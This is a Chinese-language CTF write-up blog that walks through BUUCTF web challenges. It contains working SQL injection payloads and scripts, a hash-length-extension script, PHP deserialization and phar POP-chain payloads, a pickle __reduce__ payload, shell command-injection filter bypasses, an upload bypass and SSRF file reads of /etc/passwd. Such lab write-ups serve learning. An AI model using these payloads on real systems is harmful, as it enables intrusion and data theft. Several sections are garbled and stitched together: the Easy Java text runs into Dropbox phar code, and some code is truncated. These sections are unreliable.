前言:菜鸡误入buu,差点被打吐。不过学到了好多东西。
题目名称:
(1)随便注
(2)高明的黑客
(3)CheckIn
(4)Hack World
(5)SSRF Me
(6)piapiapia
(7)Easy Java
(8)Dropbox
(9)Pythonginx
(10)ikun
(11)Online Tool
(12)Web1
(13)Ping Ping Ping
(14)shrine
(15)easy_web
(16)Love Math
题目:
随便注
涉及知识点:
堆叠注入
解析:
进入题目界面。
配合上题目 随便注 很容易想到这是一道sql注入题。
先随便尝试一下。
发现了这个(不用fuzz了,哈,开心)
select被过滤了,在思考了良久之后,发现自己不会。后来在大佬的帮助下才知道这是堆叠注入。
关于堆叠注入的知识点可以看大佬的博客:https://www.cnblogs.com/geaozhang/p/9891338.html (大佬nb!感谢大佬!)
看完博客之后完全可以自己实操
利用 show databases; 来爆出数据库
得到了两个表,接下来就是爆字段了。
payload=1';show columns from `1919810931114514`;(注意如果表名是纯数字时,一定要用 ` 把它包括起来,` 强制命令执行)
看到flag了对吧。那么读取它就可以了。但是我们的select被过滤了。平时可以使用select * from flag来读取现在又使用什么呢?
方法一: 预编译系统
这时候就要用到mysql的预编译系统了。(大佬的博客有说到,不会的赶紧去看啊,就是上面的链接)
构造payload=1';SET @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;PREPARE sqlexp from @a;EXECUTE sqlexp;
得到flag
方法二: 神秘的handler函数;
有一说一,handler 函数是真的难找。推荐学习资料
这里直接给payload了。
payload: 1';HANDLER `1919810931114514` open;HANDLER `1919810931114514` read first;#
也可以拿到flag。
高明的黑客
涉及知识点:
(1)批量代码审计
解析:
进入题目之后,看到
说明有备份文件,直接下载后发现,有整整3000多个文件。。很明显这不是让我们手动审计的,应该是写脚本审计了。
贴上脚本。。(有一说一真的好慢啊,看来我要学一下多线程了)
import os
import requests
path = "E:/phpStudy_2014.10.02_XiaZaiBa/WWW/www/src/"
files = os.listdir(path)
url = "http://ccd8ef95-a688-4fd7-b6c9-fede974d6c26.node3.buuoj.cn/{}?{}={}"
def read_line(filename):
params = []
with open(path + filename,'r') as f:
lines = f.readlines()
for line in lines:
if '$_GET[' in line:
start = line.find("$_GET['") + len("$_GET['")
end = line.find("']",start)
param = line[start:end]
params.append(param)
return params
def attack():
for i in range(len(files)):
filename = files[i]
params = []
params = read_line(filename)
print('try : %s' % filename )
for param in params:
new_url = url.format(filename,param,"echo 'Hello world'")
try:
ans = requests.get(new_url)
if "Hello world" in ans.text:
print('Success')
print(new_url)
except:
print('failed')
attack()
最后在漫长的等待后,拿到了shell。
最后用
http://f4cefef7-b3f2-44d5-8219-53a08291bf93.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat /flag
拿到flag
CheckIn
涉及知识点:
(1).gif文件头欺骗
gif 文件头欺骗,GIF89a文件头检测是指程序为了他人将asp等文件后缀改为gif后上传,读取gif文件头,检测是否有GIF87a或GIF89a标记,是就允许上传,不是就说明不是gif文件。 而欺骗刚好是利用检测这两个标记,只要在木马代码前加GIF87a就能骗过去。
(2).user.ini 代替 .htaccess 文件
解析:
首先,这道题是有源码的。在github上。
然后发现。。不得行。那么尝试以下内容
GIF89a
成功了,接下来就是.user.ini ,首先解释一下.user.ini .。直接看大佬的博客吧 https://blog.csdn.net/byywcsnd/article/details/78221375
那么,我们只需要重新上传.user.ini 来使得.gif文件被识别成.php文件就好了。
这里我们选择使用auto_prepend_file配置来自动包含文件。(auto_prepend_file配置,将文件被包含到每一个文件中)如:
auto_prepend_file=1.gif 就相当于每个文件中都有 require('1.gif');
所以上传 .user.ini 内容如下:
GIF89a
auto_prepend_file=1.gif
等一会服务器就会配置完成,疯狂访问就好了。看到如下标记说明成功。
然后根据个人喜好不同可以用菜刀冰蝎之类的,我就直接调命令了。构造payload = ?1551=cat /flag
得到flag。
Hack World
涉及知识点:
(1)sql布尔盲注
解析:
进入题目界面随便输入一下。
。。。都9102年了,赵总还在征友?drl,drl。还是注入吧。。
fuzz一下,发现空格,各种注释都被过滤了。。但是好像不需要注释??
尝试id = 0|(ascii(substr(('flag'),1,1))>1)居然会给我正常回显?那么只要把字符串换成查询语句就完事了。
题目都告诉我们了
正常查询语句:select flag from flag
过滤之后采用括号包括代替空格: select(flag)from(flag)
最后的payload = 0|(ascii(substr((select(flag)from(flag)),1,1))>1)
之后写脚本就完事了。
import requests
import time
url = 'http://30945318-af58-48e1-a143-9dabde805f9a.node3.buuoj.cn/index.php'
payload = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
passwd = ''
for i in range(1,60):
low = 0
high = 127
while True:
time.sleep(0.1) #buu的流量检测也太烦了。。
j = int((low + high)/2)
sqlstr = u"0|(ascii(substr((select(flag)from(flag)),{},1))>{})"
data = {'id':sqlstr.format(str(i),str(j))}
#print(sqlstr.format(str(i),str(low)))
ans = requests.post(url,data=data)
if 'Hello' in ans.text: #true
if high == low+1:
passwd += chr(high)
print(passwd)
break
low = j
if 'Error' in ans.text: #false
if high == low+1:
passwd += chr(low)
print(passwd)
break
high = j
print(passwd)
最后爆出flag
说句题外话:注意这个循环只设置了60次,那么长度超过60的话是爆不出来的。。(本来是40的,结果发现这题的flag超过40位。。我人傻了。)
SSRF Me
涉及知识点:
(2)哈希长度拓展攻击
解析:
进入题目界面,发现源码泄露。整理后代码为
#! /usr/bin/env python
#encoding=utf-8 from flask
import Flask from flask
import request
import socket
import hashlib
import urllib import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox) #创建目录
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign): #哈希长度拓展攻击
return True
else:
return False #generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest() #md5(ip) + 'flag.txt' 就是16位加8位即24位
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
发现是python代码审计。(现在才发现会python和会python代码审计不是一个东西)
先看3个路由。
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
code.txt一看就是我们正在审的代码。自动忽略。发现/De1ta中用了task的Exec()。
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
发现这一题就是修改cookie中的action和sign使得action中包含read并通过验证就行了。
这就涉及到哈希长度拓展攻击了。
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest() #secret_key + 'flag.txt' 就是16位加8位即24位
接下来访问http://be932083-4955-49d8-ab2a-385929108e6d.node3.buuoj.cn/geneSign?param=flag.txt拿到sign
写脚本访问
import requests,hashpumpy,urllib
def attack():
url = 'http://be932083-4955-49d8-ab2a-385929108e6d.node3.buuoj.cn/De1ta?param=flag.txt'
old\_cookie = 'c28a0f77f0599399cea1f0ddf4bad59d' #拿到的sign
str1 = 'scan'
str2 = 'read'
new\_cookie,message = hashpumpy.hashpump(old\_cookie,str1,str2,24)
payload = {
'action':urllib.parse.quote(message),
'sign':new\_cookie
}
print(urllib.parse.quote(message))
ans = requests.get(url=url,cookies = payload)
print(ans.text)
attack()
拿到flag
piapiapia
涉及知识点:
(1)反序列化漏洞
(2)php代码审计
解析:
首先因为buu的流量检测强到没法用御剑扫描,所以我都是先看大佬的wp看有没有源码再做题的。这题还真有源码。在www.zip。
审计源码后知道要先注册账号。然后用注册账号访问config.php获取flag。那么怎么访问config.php成了问题。
贴上关键代码。
move\_uploaded\_file($file\['tmp\_name'\], 'upload/' . md5($file\['name'\]));
$profile\['phone'\] = $\_POST\['phone'\];
$profile\['email'\] = $\_POST\['email'\];
$profile\['nickname'\] = $\_POST\['nickname'\];
$profile\['photo'\] = 'upload/' . md5($file\['name'\]);
$user->update\_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
通过代码审计可以发现,这一题的关键是$profile数组会被序列化存进数据库,之后被访问时再反序列化。进行测试发现
以上代码的结果是
Array ( [phone] => 18539552955 [email] => 65@qq.com [nickname] => cioi [photo] => config.php )
那么我们直接在nickname输入 ";s:5:"photo";s:10:"config.php";} 不就行了吗?
当然不行。。。nickname有三个过滤机制。
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
public function filter($string) {
$escape = array('\'', '\\\\'); //过滤 \ 和 '
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg\_replace($safe, 'hacker', $string);
}
public function \_\_tostring() {
return \_\_class\_\_;
}
不过有一说一,准确来说第二个并不叫过滤机制。因为它并没有终止我们的操作,甚至对我们的操作没有任何影响。不信你试试。
但是要nickname的长度不超过10有点恶心。。这时候就要用到我们常用的$nickname[]=了(数组绕过匹配).
而数组的话我们就要更新payload了。把原来的payload变成 ";}s:5:"photo";s:10:"config.php";}
很明显cioi字符串的长度只有4.。那34明明是之后的 ";}s:5:"photo";s:10:"config.php";} 。那么缺少的34长度怎么补上?
。。这时候没有过滤用的过滤就有用了。它会把那些不允许出现的字符给改成hacker!什么意思!!!!这不就是给我们补上那34个长度的好机会吗!
这里我们把cioi换成34个where(因为where被换成hacker会使得长度加1),最终payload:
$nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
我们在bp中修改
发包后,页面有警告(关我什么事),原流程走一下就行了。
查看图片。base64解码一下。得到flag。
Easy Java
涉及知识点:
(1)Java源码泄露
WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞成因:通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!
解析:
这题题目界面的登录框没啥用处。这题的主角是Java源码泄露。
get方式是无法获取文件的,所以要改成post方式。(点一下就行了)
尝试把文件名改为/WEB-INF/web.xml。会发现源码泄露。源码如下:
phar.php(用来生成专门针对test.php的phar文件,本地运行。)
startBuffering(); //开始读写操作 $phar->setStub(''); //写入stub。记住一定要大写。 $o = new Testobj(); $o->output = 'eval($\_GET\[1551\]);'; $phar->setMetadata($o); //写入meta-data $phar->addFromString("test.phar","test"); //添加要压缩的文件 $phar->stopBuffering(); ?>本地测试。(127.0.0.1/test.php?filename=phar://test.phar&1551=phpinfo();)
解析:
随便注册一个账户。然后发现可以上传文件,随便上传一个试试。
发现有下载和删除界面。用bp抓包试试。
这个filename是可以自己控制的。所以尝试下载index.php。
下载index.php,class.php,delete.php,download.php几个文件。(明天再写咕咕咕!鸽子肥来了QWQ)
经过审计之后,发现class.php中包含重要内容。(只放一个吧,其他的就算了,太长了)
//class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function \_\_construct() {
global $db;
$this->db = $db;
}
public function user\_exist($username) {
$stmt = $this->db->prepare("SELECT \`username\` FROM \`users\` WHERE \`username\` = ? LIMIT 1;");
$stmt->bind\_param("s", $username);
$stmt->execute();
$stmt->store\_result();
$count = $stmt->num\_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add\_user($username, $password)
{
if ($this->user\_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO \`users\` (\`id\`, \`username\`, \`password\`) VALUES (NULL, ?, ?);");
$stmt->bind\_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify\_user($username, $password) {
if (!$this->user\_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT \`password\` FROM \`users\` WHERE \`username\` = ?;");
$stmt->bind\_param("s", $username);
$stmt->execute();
$stmt->bind\_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function \_\_destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function \_\_construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array\_search(".", $filenames);
unset($filenames\[$key\]);
$key = array\_search("..", $filenames);
unset($filenames\[$key\]);
foreach ($filenames as $filename)
{
$file = new File();
$file->open($path . $filename);
array\_push($this->files, $file);
$this->results\[$file->name()\] = array();
}
}
public function \_\_call($func, $args) { //close() 无
array\_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results\[$file->name()\]\[$func\] = $file->$func(); //results中加上文件名和方法
}
}
public function \_\_destruct() { //用来回显results
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file\_exists($filename) && !is\_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units\[$i\];
}
public function detele() {
unlink($this->filename); //删除文件 //phar://test.jpg触发反序列化
}
public function close() {
return file\_get\_contents($this->filename);
}
}
?>
这个User有点秀,这是CTF中典型的pop链啊!
public function __destruct()
{
$this->db->close();
}
User中就没有close()方法,那么肯定是把db当做File类的一个对象啊。这样就可以利用file_get_content()读出文件。
但是,没有回显啊!读出来了也看不到啊!所以中间要加一个跳板,就三个类,两个用过了,剩下的那个类有__call()方法,该选谁不用我多说了吧。
直接构造pop链。写脚本。
files = array(new File()); } } class File { public $filename = '/flag.txt'; } $o = new User(); $o->db = new FileList(); @unlink('test.phar'); $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub(""); $phar->setMetadata($o); $phar->addFromString("test.txt","test"); $phar->stopBuffering(); ?>把生成的test.phar文件变成test.jpg然后上传。点删除,抓包。修改为filename=phar://test.jpg
Pythonginx
涉及知识点:
(1)nginx的配置情况
(2)编码转换
解析:
有一说一,这方面我是真的一点都不熟,只能去看wp了。(还好有万能的师傅们)(感谢大佬,贴上wp https://www.jianshu.com/p/fbfeeb43ace2)
先贴一下自己审计的源码吧
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname #提取域名
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1] #在http://后的并且在第一个斜杠之前的部分
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8')) #utf编码后用idna编码
parts[1] = '.'.join(newhost) #去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
总之我们需要绕过的就是两次suctf.cc然而在第三次是suctf.cc就可以了。
而编码应该就是最好的突破点了吧。(毕竟第二次和第三次检测之间有编码转化)
python选择使用unicode作为基础编码,而这一次是由utf-8转化为unicode再转化为idna。我们需要找出它的漏洞。
可以写个脚本来判断(反正判断函数它自己写好了)(以后的编码问题都可以这样解决)
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
x = chr(x)
url = "http://suctf.c{}" #url一定要每次循环重新赋值一次
url = url.format(x)
try:
if get\_url(url):
print(url)
except:
pass
def get_url(url): #随便改一下就行了
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts\[1\]
if host == 'suctf.cc':
return False
newhost = \[\]
for h in host.split('.'): #把host拆开
newhost.append(h.encode('idna').decode('utf-8')) #idna编码和utf-8编码有漏洞,网址https://www.cnblogs.com/cimuhuashuimu/p/11490431.html
parts\[1\] = '.'.join(newhost) #把newhost中的东西合并
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')\[0\]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
#print(urllib.request.urlopen(finalUrl).read())
else:
return False
if __name__ == "__main__":
get_unicode()
Unicode/Letterlike Symbols字符阔以从这取:https://en.wiktionary.org/wiki/Appendix:Unicode/Letterlike_Symbols
在这里可以构造payload为file://suctf.cℂ/../../../etc/passwd
但是,这没啥用!(根本不用ssrf)访问/usr/local/nginx/conf/nginx.conf (我根本不知道有这个配置文件)
原来flag在/usr/fffffflag里
那么直接访问就可以读到了。构造payload为 file://suctf.cℂ/../../../usr/fffffflag
另外:这道题还有一个非预期。非预期是关于函数本身的漏洞的。直接贴上大佬的wp吧。
ikun
涉及知识点:
(1)JWT
(2)pickle反序列化
import pickle
dict1 = {'a':1,'b':2}
dict2 = pickle.dumps(dict1)
print(dict2,type(dict2),id(dict2)) #dumps 和 dump 用来序列化 #type byte
dict3 = pickle.loads(dict2)
print(dict3,type(dict3),id(dict3)) #loads 和 load 用来反序列化 #type dict
'''
b'\x80\x03}q\x00(X\x01\x00\x00\x00aq\x01K\x01X\x01\x00\x00\x00bq\x02K\x02u.'
{'a': 1, 'b': 2}
'''
解析:
我吐了,这题目界面,这真就是ikun呗,还有题目的脑洞也太大了吧,根本不知道要干嘛!难道真就要买6级账号?
进入题目界面,看题目的要求是找lv6的账号,但是我翻了几页还没有找到。于是尝试写脚本查找。
import requests
import re
for i in range(10000):
url = 'http://13872e21-33ee-41bd-9008-1ff4635b07e2.node3.buuoj.cn/shop?page={}'
url = url.format(str(i))
ans = requests.get(url).text
if "lv6.png" in ans:
print(url)
找到了第181页。随便注册一个账号。然后,尝试购买。(手上的1000块肯定是买不了的。应该是要找漏洞)
抓包改包(price和discount是我们可以买的起这些东西的方法)
(反复对比之后发现discount的值可以修改而price无法修改)
成功购买。
抓包发现了JWT。涉及到了JWT。那就要聊一聊JWT的概念了。
了解概念之后把JWTbase64一下就有了第一 ,二部分。即
夸一下notepade++(插件是真的好用)。构建JWT的工具网站 https://jwt.io/
下一部分需要一个secret。然后去github上找工具。https://github.com/brendan-rius/c-jwt-cracker
可恶,我早该想到的,不过这个工具以后可能用的到。
到工具网上去构造JWT。然后修改就到下一个点了。f12发现www.zip有源码(缓缓打出一个?)
解压一看?python代码?但是题目的界面有提示,这是pickle。那么第一时间应该就是pickle反序列化了。
审计源码,果然在admin.py中找到了。
那么写脚本构造payload就好了。
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval,("open('/flag.txt','r').read()",))
b = pickle.dumps(payload())
b = urllib.quote(b)
print b
抓包把become改成生成的payload写下去就行了。
得到flag
贴上大佬的wp吧(感觉自己讲的好差)
https://blog.csdn.net/weixin_43345082/article/details/97817909
Online Tool
涉及知识点:
(1)escapeshellarg 和 escapeshellcmd 漏洞
当escapeshellarg 和 escapeshellcmd连起来用时会造成单引号逃逸。(注意先后顺序,要是顺序反的话就没用了)
(2)shell注入
解析:
题目直接给出了源码。
-oG shell.php ' (这个空格不能少的,别忘了这是shell啊!而且不知道为什么别人用 -oA就可以,我就不行) ![](https://article.cdnof.com/2110/fa914d1f-c2b7-4aa9-ac2f-d0e9286faff6.jpg) 然后访问拿flag就好了。 ![](https://article.cdnof.com/2110/da79314f-a045-4ff4-8ac9-a5db2d0c5473.jpg) 要咕一阵子了,还有别的事情要做。。。好烦啊!!! **Web1** 涉及知识点: (1)无列名注入 解析: 创建完登录账号之后发现有一个输入框,本来以为是个XSS。但是在我玩半个小时手机之后发现管理员还没有确认,我开始觉得事情不简单。 测试注入点。发现没有注入点,我有点慌了,只能去看wp。 果然还是我太菜了,没注意到发布广告之后才能造成二次注入。(以后要多次测试,一定要细心,毕竟信息搜集可是很重要的) 注入点在title。空格被过滤了,选择/\*\*/代替。(字段长度是从1开始一个一个测出来的,居然有22个字段,我吐了) ![](https://article.cdnof.com/2110/89edaf3b-8cc8-4047-834b-115cc361277d.jpg) 回显在2,3 ![](https://article.cdnof.com/2110/66fc779d-f834-4950-a361-376aae57c4d2.jpg) 接下来尝试爆表名。 在爆表名时,or被过滤了,所以information\_schema是用不了了,这时我们可以选用其他的系统表 贴上大佬的博客 [https://blog.csdn.net/dj673344908/article/details/80482844](https://blog.csdn.net/dj673344908/article/details/80482844)。这里我选用mysql来爆表。 构造payload:title=0'union/\*\*/select/\*\*/1,2,(select/\*\*/group\_concat(table\_name)/\*\*/from/\*\*/mysql.innodb\_table\_stats),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' ![](https://article.cdnof.com/2110/0fec89e7-105f-4f08-970d-a1635e8fb5fc.jpg) 。。。flag在users里,别找错了。 然后就是无列名注入了。大佬给的定义是 无列名注入时我们是采用的子查询的方式,子查询是将一个查询语句嵌套在另一个查询语句中, 在特定的情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询语句的查询结果,可以为外层查询语句提供查询条件。 额,有点绕,就是下面这个例子。 select group\_concat(a) from (select 1 as a,2 as b,3 as c union select \* from users)x (这个x一定要加!!!) 构造payload:0'union/\*\*/select/\*\*/1,2,(select/\*\*/group\_concat(b)/\*\*/from(select/\*\*/1/\*\*/as/\*\*/a,2/\*\*/as/\*\*/b,3/\*\*/as/\*\*/c/\*\*/union/\*\*/select\*from/\*\*/users)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' 回显是 ![](https://article.cdnof.com/2110/72ba18c1-429e-45da-8831-c0015bf6b513.jpg) 发现b中并没有flag,那么应该在c里吧 0'union/\*\*/select/\*\*/1,2,(select/\*\*/group\_concat(c)/\*\*/from(select/\*\*/1/\*\*/as/\*\*/a,2/\*\*/as/\*\*/b,3/\*\*/as/\*\*/c/\*\*/union/\*\*/select\*from/\*\*/users)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' 发现flag ![](https://article.cdnof.com/2110/dc8a3b14-b031-451c-9c4a-e32c0cfd9296.jpg) 完成。最后贴一个无列名注入的学习链接 [https://zhuanlan.zhihu.com/p/98206699](https://zhuanlan.zhihu.com/p/98206699) (感谢大佬) **Ping Ping Ping** 涉及知识点: (1)shell命令行注入 解析: 进入题目界面发现有一个 /?ip= ,那么在url中注入?ip=127.0.0.1,回显是 ![](https://article.cdnof.com/2110/8d556fb1-ed8e-464b-bab5-25cb02284ca9.jpg) 看到是ping命令就自然想到了shell命令行注入。之后使用构造payload:?ip=127.0.0.1|ls ,回显是 ![](https://article.cdnof.com/2110/0831d655-6ada-41f9-b38c-52090e8691a8.jpg) 本来以为构造payload: ?ip=127.0.0.1|cat flag.php就可以了。但是 ![](https://article.cdnof.com/2110/9051f887-a8fa-47b2-90b9-4fa7e708c676.jpg) 。。过滤了空格,找了一下,可以代替空格的有 $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能 %20 %09 修改payload: ?ip=127.0.0.1|cat$IFS$1flag.php ![](https://article.cdnof.com/2110/aa443097-1399-4e26-a1b4-52d87a936ddc.jpg) ?flag也过滤了。那么采用组合的方法。构造payload: ?ip=127.0.0.1;m=g;cat$IFS$1fla$m.php 得到flag ![](https://article.cdnof.com/2110/bbe0e1de-8ae3-4e2b-ae1d-e0835eefc1f2.jpg) 其实。。还有一个黑科技。。构造payload: ?ip=127.0.0.1;cat$IFS\`ls\`; ![](https://article.cdnof.com/2110/1b1768cf-4c27-45d3-bec8-a32725a62f9a.jpg) 就出来了。。。 注:如果过滤cat的话,可以采用tac反向输出命令或者linux命令中可以加\\,所有可以用ca\\t /fla\\g **shirne** 涉及知识点: (1)ssti 解析: 进来就给源码。 import flask import os app = flask.Flask(\_\_name\_\_) app.config\['FLAG'\] = os.environ.pop('FLAG') @app.route('/') def index(): return open(\_\_file\_\_).read() @app.route('/shrine/py代码:
import requests
import re
def attack():
for i in range(10):
j = "a"
while ord('a') <= ord(j) <= ord('z'):
url = "http://127.0.0.1/t.php?a=" + str(i) + "&b=" + str(j)
#print(url)
resp = requests.get(url)
print(str(i) + " ^ " + str(j) + " = " + resp.text)
j = chr(ord(j) + 1)
attack()
结果:
0 ^ a = Q
0 ^ b = R
0 ^ c = S
0 ^ d = T
0 ^ e = U
0 ^ f = V
0 ^ g = W
0 ^ h = X
0 ^ i = Y
0 ^ j = Z
0 ^ k = [
0 ^ l = \
0 ^ m = ]
0 ^ n = ^
0 ^ o = _
0 ^ p = @
0 ^ q = A
0 ^ r = B
0 ^ s = C
0 ^ t = D
0 ^ u = E
0 ^ v = F
0 ^ w = G
0 ^ x = H
0 ^ y = I
0 ^ z = J
1 ^ a = P
1 ^ b = S
1 ^ c = R
1 ^ d = U
1 ^ e = T
1 ^ f = W
1 ^ g = V
1 ^ h = Y
1 ^ i = X
1 ^ j = [
1 ^ k = Z
1 ^ l = ]
1 ^ m = \
1 ^ n = _
1 ^ o = ^
1 ^ p = A
1 ^ q = @
1 ^ r = C
1 ^ s = B
1 ^ t = E
1 ^ u = D
1 ^ v = G
1 ^ w = F
1 ^ x = I
1 ^ y = H
1 ^ z = K
2 ^ a = S
2 ^ b = P
2 ^ c = Q
2 ^ d = V
2 ^ e = W
2 ^ f = T
2 ^ g = U
2 ^ h = Z
2 ^ i = [
2 ^ j = X
2 ^ k = Y
2 ^ l = ^
2 ^ m = _
2 ^ n = \
2 ^ o = ]
2 ^ p = B
2 ^ q = C
2 ^ r = @
2 ^ s = A
2 ^ t = F
2 ^ u = G
2 ^ v = D
2 ^ w = E
2 ^ x = J
2 ^ y = K
2 ^ z = H
3 ^ a = R
3 ^ b = Q
3 ^ c = P
